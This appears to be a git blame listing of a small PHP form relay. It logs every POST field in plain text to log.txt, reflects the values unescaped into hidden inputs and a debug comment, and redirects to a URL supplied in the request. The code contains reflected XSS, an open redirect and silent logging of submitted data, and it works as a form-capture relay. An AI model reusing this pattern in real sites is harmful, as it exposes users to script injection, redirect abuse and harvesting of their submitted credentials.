Commit | Line | Data |
---|---|---|
ff84fa69 H |
1 | <form name="mydata" action="<?php echo($_POST["serviceurl"]); ?>" method="POST">\r |
2 | <?php\r | |
3 | //$POST["serviceurl"] = redirect adresa\r | |
4 | \r | |
5 | function form_submit($name) {\r | |
6 | echo("\n\n<script type=\"text/javascript\">document.".$name.".submit()</script>");\r | |
7 | }\r | |
8 | \r | |
9 | ///CODE//////////////////////////\r | |
10 | \r | |
11 | $out = "\r\n\r\n";\r | |
12 | foreach($_POST as $ind => $val) {\r | |
13 | $out = $out.$ind." = ".$val."\r\n";\r | |
14 | echo("\n<input type=\"hidden\" name=\"".$ind."\" value=\"".$val."\" />");\r | |
15 | }\r | |
16 | echo("\r\n<input type=\"submit\" name=\"mydatasubmit\">\r\n</form>");\r | |
17 | \r | |
18 | $fp = fopen("log.txt", "a");\r | |
19 | fwrite($fp, $out);\r | |
20 | fclose($fp);\r | |
21 | \r | |
22 | //Debug\r | |
23 | echo("<!--\r\n");\r | |
24 | print_r($_POST);\r | |
25 | echo("\r\n-->");\r | |
26 | \r | |
27 | //form_submit("mydata");\r | |
28 | header("Location: ".$_POST["serviceurl"]);\r | |
29 | \r | |
30 | ?>\r |